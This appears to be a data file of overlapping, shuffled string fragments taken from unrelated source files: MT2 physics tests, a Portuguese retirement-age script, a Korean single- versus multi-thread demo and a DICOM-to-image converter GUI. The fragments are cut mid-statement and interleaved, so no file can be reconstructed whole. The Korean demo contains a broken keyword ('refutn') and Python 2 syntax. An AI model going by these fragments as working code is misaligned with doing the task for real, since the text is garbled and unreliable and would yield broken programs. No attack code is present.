"loop. computed_val = mt2_tombs(1, 2, 3, 4, 5, 6, 7, 8, -90, -100)",
"= _random_batch(-100, 100) py_miss = _random_batch(-100, 100) m_invis_1 = _random_batch(0, 100) m_invis_2 =",
"for i in range(-100, 100, 10): scale = 10.0 ** i with numpy.errstate(over=\"ignore\"):",
"of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a = -42.017340486 py_a = -146.365340528 m_vis_b =",
"i in range(-100, 100, 10): scale = 10.0 ** i with numpy.errstate(over=\"ignore\"): #",
"approximately in the test below. computed_val = mt2_tombs(*(example_args * scale)) assert computed_val ==",
"i with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when performing the evaluation; we're happy",
"px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs,",
"infinite loop. computed_val = mt2_tombs(1, 2, 3, 4, 5, 6, 7, 8, -90,",
"py_b, px_miss, py_miss, chi_a, chi_b ) assert computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size",
"masses to make both initial bounds negative. # Check that the result is",
"pytest.approx(0.09719971) def test_fuzz(): batch_size = 100 num_tests = 1000 numpy.random.seed(42) def _random_batch(min_, max_):",
"_random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100) m_vis_2 = _random_batch(0, 100) px_vis_2 = _random_batch(-100,",
"from .common import mt2_lester, mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100, 410, 20, 150,",
"= mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100,",
"import pytest from .common import mt2_lester, mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100, 410,",
"-146.365340528 m_vis_b = 0.087252259 px_b = -9.625614206 py_b = 145.757295514 px_miss = -16.692279406",
"mass is unphysical. # These arguments use negative masses to make both initial",
"MT2 by <NAME>.\"\"\" from typing import Optional, Union import numpy import pytest from",
"\"\"\"Tests for the variant of MT2 by <NAME>.\"\"\" from typing import Optional, Union",
"mt2_tombs(*example_args) # mt2 scales with its arguments; check over some orders of magnitude.",
"evaluation; we're happy # so long as we match approximately in the test",
"mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b, py_b, px_miss, py_miss, chi_a, chi_b ) assert",
"= _random_batch(-100, 100) px_miss = _random_batch(-100, 100) py_miss = _random_batch(-100, 100) m_invis_1 =",
"negative masses to make both initial bounds negative. # Check that the result",
"-210, -300, -200, 280, 100, 100)) example_val = mt2_tombs(*example_args) # mt2 scales with",
"pytest.approx(example_val * scale) def test_negative_masses(): # Any negative mass is unphysical. # These",
"# mt2 scales with its arguments; check over some orders of magnitude. for",
"example_val = mt2_tombs(*example_args) # mt2 scales with its arguments; check over some orders",
"10): scale = 10.0 ** i with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when",
"computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size = 100 num_tests = 1000 numpy.random.seed(42) def",
"computed_val == pytest.approx(412.628) def test_near_massless(): # This test is based on Fig 5",
"_random_batch(0, 100) args = ( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss,",
"of MT2 by <NAME>.\"\"\" from typing import Optional, Union import numpy import pytest",
"m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester =",
"numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when performing the evaluation; we're happy # so",
"performing the evaluation; we're happy # so long as we match approximately in",
"_random_batch(-100, 100) px_miss = _random_batch(-100, 100) py_miss = _random_batch(-100, 100) m_invis_1 = _random_batch(0,",
"py_a, m_vis_b, px_b, py_b, px_miss, py_miss, chi_a, chi_b ) assert computed_val == pytest.approx(0.09719971)",
"100)) example_val = mt2_tombs(*example_args) # mt2 scales with its arguments; check over some",
"negative. # Check that the result is neither positive nor an infinite loop.",
"0 computed_val = mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b, py_b, px_miss, py_miss, chi_a,",
"warnings when performing the evaluation; we're happy # so long as we match",
"= mt2_tombs(100, 410, 20, 150, -210, -300, -200, 280, 100, 100) assert computed_val",
"= -146.365340528 m_vis_b = 0.087252259 px_b = -9.625614206 py_b = 145.757295514 px_miss =",
"= 0 px_a = -42.017340486 py_a = -146.365340528 m_vis_b = 0.087252259 px_b =",
"an infinite loop. computed_val = mt2_tombs(1, 2, 3, 4, 5, 6, 7, 8,",
"_random_batch(0, 100) m_invis_2 = _random_batch(0, 100) args = ( m_vis_1, px_vis_1, py_vis_1, m_vis_2,",
"(batch_size,)) for _ in range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1 = _random_batch(-100, 100)",
"= 0 chi_b = 0 computed_val = mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b,",
"= -14.730240471 chi_a = 0 chi_b = 0 computed_val = mt2_tombs( m_vis_a, px_a,",
"def test_near_massless(): # This test is based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a",
"100) px_miss = _random_batch(-100, 100) py_miss = _random_batch(-100, 100) m_invis_1 = _random_batch(0, 100)",
"import numpy import pytest from .common import mt2_lester, mt2_tombs def test_simple_example(): computed_val =",
"computed_val = mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b, py_b, px_miss, py_miss, chi_a, chi_b",
"test_fuzz(): batch_size = 100 num_tests = 1000 numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_,",
"-16.692279406 py_miss = -14.730240471 chi_a = 0 chi_b = 0 computed_val = mt2_tombs(",
"for the variant of MT2 by <NAME>.\"\"\" from typing import Optional, Union import",
"its arguments; check over some orders of magnitude. for i in range(-100, 100,",
"py_miss = _random_batch(-100, 100) m_invis_1 = _random_batch(0, 100) m_invis_2 = _random_batch(0, 100) args",
"so long as we match approximately in the test below. computed_val = mt2_tombs(*(example_args",
"= mt2_tombs(*(example_args * scale)) assert computed_val == pytest.approx(example_val * scale) def test_negative_masses(): #",
"_random_batch(0, 100) px_vis_1 = _random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100) m_vis_2 = _random_batch(0,",
"# These arguments use negative masses to make both initial bounds negative. #",
"m_vis_a = 0 px_a = -42.017340486 py_a = -146.365340528 m_vis_b = 0.087252259 px_b",
"num_tests = 1000 numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,)) for _",
"assert computed_val == pytest.approx(example_val * scale) def test_negative_masses(): # Any negative mass is"
] |
[
"- pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15) for k, v in pessoa.items():",
"')) pessoa['idade'] = anohoje - nasc pessoa['ctps'] = int(input('Informe a CTPS (0 se",
"!= 0: pessoa['contratacao'] = int(input('Informe o ano de contratação: ')) pessoa['salario'] = float(input('Informe",
"from datetime import datetime pessoa = dict() anohoje = datetime.now().year pessoa['nome'] = str(input('Informe",
"int(input('Informe o ano de nascimento: ')) pessoa['idade'] = anohoje - nasc pessoa['ctps'] =",
"o ano de nascimento: ')) pessoa['idade'] = anohoje - nasc pessoa['ctps'] = int(input('Informe",
"anohoje = datetime.now().year pessoa['nome'] = str(input('Informe o nome: ')).strip().title() nasc = int(input('Informe o",
"float(input('Informe o salário: ')) faltam = 35 - (anohoje - pessoa['contratacao']) pessoa['aposentar'] =",
"pessoa['idade'] = anohoje - nasc pessoa['ctps'] = int(input('Informe a CTPS (0 se não",
"= anohoje - nasc pessoa['ctps'] = int(input('Informe a CTPS (0 se não tiver):",
"if pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe o ano de contratação: ')) pessoa['salario']",
"faltam = 35 - (anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15)",
"pessoa['contratacao'] = int(input('Informe o ano de contratação: ')) pessoa['salario'] = float(input('Informe o salário:",
"pessoa['idade'] + faltam print('-='*15) for k, v in pessoa.items(): print(f' - {k} tem",
"')) if pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe o ano de contratação: '))",
"= datetime.now().year pessoa['nome'] = str(input('Informe o nome: ')).strip().title() nasc = int(input('Informe o ano",
"faltam print('-='*15) for k, v in pessoa.items(): print(f' - {k} tem o valor",
"print('-='*15) for k, v in pessoa.items(): print(f' - {k} tem o valor {v}')",
"o ano de contratação: ')) pessoa['salario'] = float(input('Informe o salário: ')) faltam =",
"35 - (anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15) for k,",
"pessoa['salario'] = float(input('Informe o salário: ')) faltam = 35 - (anohoje - pessoa['contratacao'])",
"pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15) for k, v in pessoa.items(): print(f'",
"(0 se não tiver): ')) if pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe o",
"')) pessoa['salario'] = float(input('Informe o salário: ')) faltam = 35 - (anohoje -",
"o salário: ')) faltam = 35 - (anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade']",
"= str(input('Informe o nome: ')).strip().title() nasc = int(input('Informe o ano de nascimento: '))",
"dict() anohoje = datetime.now().year pessoa['nome'] = str(input('Informe o nome: ')).strip().title() nasc = int(input('Informe",
"de nascimento: ')) pessoa['idade'] = anohoje - nasc pessoa['ctps'] = int(input('Informe a CTPS",
"int(input('Informe a CTPS (0 se não tiver): ')) if pessoa['ctps'] != 0: pessoa['contratacao']",
"datetime import datetime pessoa = dict() anohoje = datetime.now().year pessoa['nome'] = str(input('Informe o",
"contratação: ')) pessoa['salario'] = float(input('Informe o salário: ')) faltam = 35 - (anohoje",
"= int(input('Informe o ano de contratação: ')) pessoa['salario'] = float(input('Informe o salário: '))",
"nasc = int(input('Informe o ano de nascimento: ')) pessoa['idade'] = anohoje - nasc",
"anohoje - nasc pessoa['ctps'] = int(input('Informe a CTPS (0 se não tiver): '))",
"str(input('Informe o nome: ')).strip().title() nasc = int(input('Informe o ano de nascimento: ')) pessoa['idade']",
"CTPS (0 se não tiver): ')) if pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe",
"= 35 - (anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15) for",
"+ faltam print('-='*15) for k, v in pessoa.items(): print(f' - {k} tem o",
"- nasc pessoa['ctps'] = int(input('Informe a CTPS (0 se não tiver): ')) if",
"int(input('Informe o ano de contratação: ')) pessoa['salario'] = float(input('Informe o salário: ')) faltam",
"= int(input('Informe o ano de nascimento: ')) pessoa['idade'] = anohoje - nasc pessoa['ctps']",
"ano de nascimento: ')) pessoa['idade'] = anohoje - nasc pessoa['ctps'] = int(input('Informe a",
"nascimento: ')) pessoa['idade'] = anohoje - nasc pessoa['ctps'] = int(input('Informe a CTPS (0",
"= int(input('Informe a CTPS (0 se não tiver): ')) if pessoa['ctps'] != 0:",
"')) faltam = 35 - (anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam",
"o nome: ')).strip().title() nasc = int(input('Informe o ano de nascimento: ')) pessoa['idade'] =",
"')).strip().title() nasc = int(input('Informe o ano de nascimento: ')) pessoa['idade'] = anohoje -",
"0: pessoa['contratacao'] = int(input('Informe o ano de contratação: ')) pessoa['salario'] = float(input('Informe o",
"pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe o ano de contratação: ')) pessoa['salario'] =",
"se não tiver): ')) if pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe o ano",
"= float(input('Informe o salário: ')) faltam = 35 - (anohoje - pessoa['contratacao']) pessoa['aposentar']",
"a CTPS (0 se não tiver): ')) if pessoa['ctps'] != 0: pessoa['contratacao'] =",
"= dict() anohoje = datetime.now().year pessoa['nome'] = str(input('Informe o nome: ')).strip().title() nasc =",
"de contratação: ')) pessoa['salario'] = float(input('Informe o salário: ')) faltam = 35 -",
"(anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15) for k, v in",
"- (anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15) for k, v",
"tiver): ')) if pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe o ano de contratação:",
"pessoa['aposentar'] = pessoa['idade'] + faltam print('-='*15) for k, v in pessoa.items(): print(f' -",
"nasc pessoa['ctps'] = int(input('Informe a CTPS (0 se não tiver): ')) if pessoa['ctps']",
"pessoa['ctps'] = int(input('Informe a CTPS (0 se não tiver): ')) if pessoa['ctps'] !=",
"pessoa = dict() anohoje = datetime.now().year pessoa['nome'] = str(input('Informe o nome: ')).strip().title() nasc",
"ano de contratação: ')) pessoa['salario'] = float(input('Informe o salário: ')) faltam = 35",
"import datetime pessoa = dict() anohoje = datetime.now().year pessoa['nome'] = str(input('Informe o nome:",
"pessoa['nome'] = str(input('Informe o nome: ')).strip().title() nasc = int(input('Informe o ano de nascimento:",
"datetime pessoa = dict() anohoje = datetime.now().year pessoa['nome'] = str(input('Informe o nome: ')).strip().title()",
"= pessoa['idade'] + faltam print('-='*15) for k, v in pessoa.items(): print(f' - {k}",
"nome: ')).strip().title() nasc = int(input('Informe o ano de nascimento: ')) pessoa['idade'] = anohoje",
"datetime.now().year pessoa['nome'] = str(input('Informe o nome: ')).strip().title() nasc = int(input('Informe o ano de",
"salário: ')) faltam = 35 - (anohoje - pessoa['contratacao']) pessoa['aposentar'] = pessoa['idade'] +",
"não tiver): ')) if pessoa['ctps'] != 0: pessoa['contratacao'] = int(input('Informe o ano de"
] |
[
"스레드랑 멀티 스레드 비교하기 from myThread import MyThread from time import ctime, sleep",
"'at : ', ctime() print funcs[i](n) print funcs[i].__name__, 'finished at :', ctime() print",
"nfuncs : print ' starting', funcs[i].__name__, 'at : ', ctime() print funcs[i](n) print",
"보았다. def fib(x) : sleep(0.005) if x<2 : return 1 return (fib(x-2)+fib(x-1)) def",
"range(len(funcs)) print' 싱글스레드' for i in nfuncs : print ' starting', funcs[i].__name__, 'at",
"비교하기 from myThread import MyThread from time import ctime, sleep # 피보나치, 팩토리얼,",
"in nfuncs : t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i in nfuncs",
"실행시켜 보았다. def fib(x) : sleep(0.005) if x<2 : return 1 return (fib(x-2)+fib(x-1))",
"if x<2 : return 1 return (x+sum(x-1)) funcs = (fib, fac, sum) n",
"funcs[i](n) print funcs[i].__name__, 'finished at :', ctime() print '멀티스레드 ' threads = []",
"sleep(0.1) if x<2 : return 1 refutn (x*(fac(x-1)) def sum(x) : sleep(0.1) if",
"in nfuncs : threads[i].start() for i in nfuncs : threads[i].join() print threads[i].getResult() print",
"'멀티스레드 ' threads = [] for i in nfuncs : t = MyThread(funcs[i],",
"nfuncs : threads[i].start() for i in nfuncs : threads[i].join() print threads[i].getResult() print 'all",
": sleep(0.005) if x<2 : return 1 return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1)",
"x<2 : return 1 refutn (x*(fac(x-1)) def sum(x) : sleep(0.1) if x<2 :",
"' starting', funcs[i].__name__, 'at : ', ctime() print funcs[i](n) print funcs[i].__name__, 'finished at",
"main() : nfuncs = range(len(funcs)) print' 싱글스레드' for i in nfuncs : print",
"= range(len(funcs)) print' 싱글스레드' for i in nfuncs : print ' starting', funcs[i].__name__,",
"ctime() print '멀티스레드 ' threads = [] for i in nfuncs : t",
"ctime() print funcs[i](n) print funcs[i].__name__, 'finished at :', ctime() print '멀티스레드 ' threads",
"멀티스레드에서 실행시켜 보았다. def fib(x) : sleep(0.005) if x<2 : return 1 return",
": sleep(0.1) if x<2 : return 1 refutn (x*(fac(x-1)) def sum(x) : sleep(0.1)",
"print' 싱글스레드' for i in nfuncs : print ' starting', funcs[i].__name__, 'at :",
"# 싱글 스레드랑 멀티 스레드 비교하기 from myThread import MyThread from time import",
"1 return (x+sum(x-1)) funcs = (fib, fac, sum) n = 12 def main()",
"threads.append(t) for i in nfuncs : threads[i].start() for i in nfuncs : threads[i].join()",
": return 1 return (x+sum(x-1)) funcs = (fib, fac, sum) n = 12",
"1 return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if x<2 : return 1 refutn",
"import ctime, sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x)",
"for i in nfuncs : t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i",
"12 def main() : nfuncs = range(len(funcs)) print' 싱글스레드' for i in nfuncs",
"refutn (x*(fac(x-1)) def sum(x) : sleep(0.1) if x<2 : return 1 return (x+sum(x-1))",
"return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if x<2 : return 1 refutn (x*(fac(x-1))",
"n = 12 def main() : nfuncs = range(len(funcs)) print' 싱글스레드' for i",
"return 1 return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if x<2 : return 1",
"return (x+sum(x-1)) funcs = (fib, fac, sum) n = 12 def main() :",
"print funcs[i](n) print funcs[i].__name__, 'finished at :', ctime() print '멀티스레드 ' threads =",
"sleep(0.1) if x<2 : return 1 return (x+sum(x-1)) funcs = (fib, fac, sum)",
"1 refutn (x*(fac(x-1)) def sum(x) : sleep(0.1) if x<2 : return 1 return",
"fac(x) : sleep(0.1) if x<2 : return 1 refutn (x*(fac(x-1)) def sum(x) :",
"in nfuncs : threads[i].join() print threads[i].getResult() print 'all DONE' if __name__ == '__main__'",
"' threads = [] for i in nfuncs : t = MyThread(funcs[i], (n,),",
"싱글스레드' for i in nfuncs : print ' starting', funcs[i].__name__, 'at : ',",
"싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x) : sleep(0.005) if x<2 : return 1",
": threads[i].join() print threads[i].getResult() print 'all DONE' if __name__ == '__main__' : main()",
"starting', funcs[i].__name__, 'at : ', ctime() print funcs[i](n) print funcs[i].__name__, 'finished at :',",
"# 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x) : sleep(0.005) if",
"MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i in nfuncs : threads[i].start() for i in",
"싱글 스레드랑 멀티 스레드 비교하기 from myThread import MyThread from time import ctime,",
"합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x) : sleep(0.005) if x<2 : return",
": threads[i].start() for i in nfuncs : threads[i].join() print threads[i].getResult() print 'all DONE'",
"ctime, sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x) :",
"(x+sum(x-1)) funcs = (fib, fac, sum) n = 12 def main() : nfuncs",
"(n,), funcs[i].__name__) threads.append(t) for i in nfuncs : threads[i].start() for i in nfuncs",
"for i in nfuncs : threads[i].start() for i in nfuncs : threads[i].join() print",
"(x*(fac(x-1)) def sum(x) : sleep(0.1) if x<2 : return 1 return (x+sum(x-1)) funcs",
"return 1 return (x+sum(x-1)) funcs = (fib, fac, sum) n = 12 def",
"nfuncs : threads[i].join() print threads[i].getResult() print 'all DONE' if __name__ == '__main__' :",
"x<2 : return 1 return (x+sum(x-1)) funcs = (fib, fac, sum) n =",
"MyThread from time import ctime, sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜",
"fac, sum) n = 12 def main() : nfuncs = range(len(funcs)) print' 싱글스레드'",
"return 1 refutn (x*(fac(x-1)) def sum(x) : sleep(0.1) if x<2 : return 1",
"i in nfuncs : print ' starting', funcs[i].__name__, 'at : ', ctime() print",
": nfuncs = range(len(funcs)) print' 싱글스레드' for i in nfuncs : print '",
"myThread import MyThread from time import ctime, sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑",
"sum(x) : sleep(0.1) if x<2 : return 1 return (x+sum(x-1)) funcs = (fib,",
"funcs[i].__name__, 'at : ', ctime() print funcs[i](n) print funcs[i].__name__, 'finished at :', ctime()",
"from time import ctime, sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다.",
"print '멀티스레드 ' threads = [] for i in nfuncs : t =",
": ', ctime() print funcs[i](n) print funcs[i].__name__, 'finished at :', ctime() print '멀티스레드",
"= MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i in nfuncs : threads[i].start() for i",
": print ' starting', funcs[i].__name__, 'at : ', ctime() print funcs[i](n) print funcs[i].__name__,",
"i in nfuncs : t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i in",
":', ctime() print '멀티스레드 ' threads = [] for i in nfuncs :",
"def fib(x) : sleep(0.005) if x<2 : return 1 return (fib(x-2)+fib(x-1)) def fac(x)",
"funcs[i].__name__, 'finished at :', ctime() print '멀티스레드 ' threads = [] for i",
"time import ctime, sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def",
": return 1 refutn (x*(fac(x-1)) def sum(x) : sleep(0.1) if x<2 : return",
"if x<2 : return 1 return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if x<2",
"[] for i in nfuncs : t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for",
"= 12 def main() : nfuncs = range(len(funcs)) print' 싱글스레드' for i in",
"= [] for i in nfuncs : t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t)",
"at :', ctime() print '멀티스레드 ' threads = [] for i in nfuncs",
"x<2 : return 1 return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if x<2 :",
"nfuncs : t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i in nfuncs :",
"멀티 스레드 비교하기 from myThread import MyThread from time import ctime, sleep #",
"', ctime() print funcs[i](n) print funcs[i].__name__, 'finished at :', ctime() print '멀티스레드 '",
"'finished at :', ctime() print '멀티스레드 ' threads = [] for i in",
"i in nfuncs : threads[i].join() print threads[i].getResult() print 'all DONE' if __name__ ==",
"def sum(x) : sleep(0.1) if x<2 : return 1 return (x+sum(x-1)) funcs =",
"팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x) : sleep(0.005) if x<2 :",
"def main() : nfuncs = range(len(funcs)) print' 싱글스레드' for i in nfuncs :",
"t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i in nfuncs : threads[i].start() for",
"if x<2 : return 1 refutn (x*(fac(x-1)) def sum(x) : sleep(0.1) if x<2",
": return 1 return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if x<2 : return",
"nfuncs = range(len(funcs)) print' 싱글스레드' for i in nfuncs : print ' starting',",
"import MyThread from time import ctime, sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서",
"i in nfuncs : threads[i].start() for i in nfuncs : threads[i].join() print threads[i].getResult()",
"from myThread import MyThread from time import ctime, sleep # 피보나치, 팩토리얼, 합계를",
"피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x) : sleep(0.005) if x<2",
"(fib, fac, sum) n = 12 def main() : nfuncs = range(len(funcs)) print'",
"print ' starting', funcs[i].__name__, 'at : ', ctime() print funcs[i](n) print funcs[i].__name__, 'finished",
"funcs[i].__name__) threads.append(t) for i in nfuncs : threads[i].start() for i in nfuncs :",
": sleep(0.1) if x<2 : return 1 return (x+sum(x-1)) funcs = (fib, fac,",
"in nfuncs : print ' starting', funcs[i].__name__, 'at : ', ctime() print funcs[i](n)",
"sum) n = 12 def main() : nfuncs = range(len(funcs)) print' 싱글스레드' for",
"funcs = (fib, fac, sum) n = 12 def main() : nfuncs =",
"print funcs[i].__name__, 'finished at :', ctime() print '멀티스레드 ' threads = [] for",
"= (fib, fac, sum) n = 12 def main() : nfuncs = range(len(funcs))",
": t = MyThread(funcs[i], (n,), funcs[i].__name__) threads.append(t) for i in nfuncs : threads[i].start()",
"sleep # 피보나치, 팩토리얼, 합계를 싱글스레드랑 멀티스레드에서 실행시켜 보았다. def fib(x) : sleep(0.005)",
"sleep(0.005) if x<2 : return 1 return (fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if",
"(fib(x-2)+fib(x-1)) def fac(x) : sleep(0.1) if x<2 : return 1 refutn (x*(fac(x-1)) def",
"스레드 비교하기 from myThread import MyThread from time import ctime, sleep # 피보나치,",
"for i in nfuncs : threads[i].join() print threads[i].getResult() print 'all DONE' if __name__",
"threads[i].start() for i in nfuncs : threads[i].join() print threads[i].getResult() print 'all DONE' if",
"fib(x) : sleep(0.005) if x<2 : return 1 return (fib(x-2)+fib(x-1)) def fac(x) :",
"def fac(x) : sleep(0.1) if x<2 : return 1 refutn (x*(fac(x-1)) def sum(x)",
"threads = [] for i in nfuncs : t = MyThread(funcs[i], (n,), funcs[i].__name__)",
"for i in nfuncs : print ' starting', funcs[i].__name__, 'at : ', ctime()"
] |
[
"!= wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine",
"# Create each Study but don't create one for RT Dose # since",
"[] for i, img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope()",
"'structures' in patient: for structureid, structure in patient['structures'].items(): if 'rtss' in item: if",
"patient: for doseid, dose in patient['doses'].items(): foundplan = False if 'plans' in patient:",
"# Otherwise sort image numbers in ascending order else: sortednums = sorted(unsortednums, reverse=False)",
"+ ' image)' if (series['numimages'] == 1) else str(series['numimages']) + ' images)' #name",
"XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self,",
"the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to hide,",
"= parentdata['rxdose'] # Show the rxdose text box if no rxdose was found",
"if 'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure = False if",
"to the structure/study instead if not foundplan: if dose['hasgrid']: if dose['hasdvh']: name =",
"= self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori,",
"if (structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True #",
"self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in all_export_threads] #[th.join() for th in",
"sort image numbers in ascending order else: sortednums = sorted(unsortednums, reverse=False) # Add",
"no series were found, add the rtss to the study if not foundseries:",
"dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root)",
"plan to the study/series instead if not foundstructure: # If there is an",
"(parentdata == None): if 'rxdose' in parentdata: rxdose = parentdata['rxdose'] # Show the",
"self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image to %s', mori_fname) header_name =",
"in patient['studies'].items(): name = 'Study: ' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2)",
"self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to hide, reset the rx dose if",
"= np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk,",
"exist if 'images' in patient: for imageid, image in patient['images'].items(): appendImage = False",
"# used for RT plan / dose if 'referenceframe' in item: if (item['referenceframe']",
"dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog and return the result",
"series in patient['series'].items(): foundseries = False if (series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem(",
"python # -*- coding: utf-8 -*- # dicomgui.py \"\"\"Main app file that convert",
"the study if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']]",
"all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in all_export_threads]",
"= self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...',",
"hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient),",
"file.\", files[n]) else: patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in",
"foundstructure = True if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\",",
"if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel = False break # Also test ImagePositionPatient,",
"the patients tree control self.root = self.InitTree() # Initialize the patients dictionary self.patients",
"is not \" + \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call the progress",
"[0, 0, 0, 1]], dtype=np.float) return m def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if",
"tree control.\"\"\" # Now add the specific item to the tree for key,",
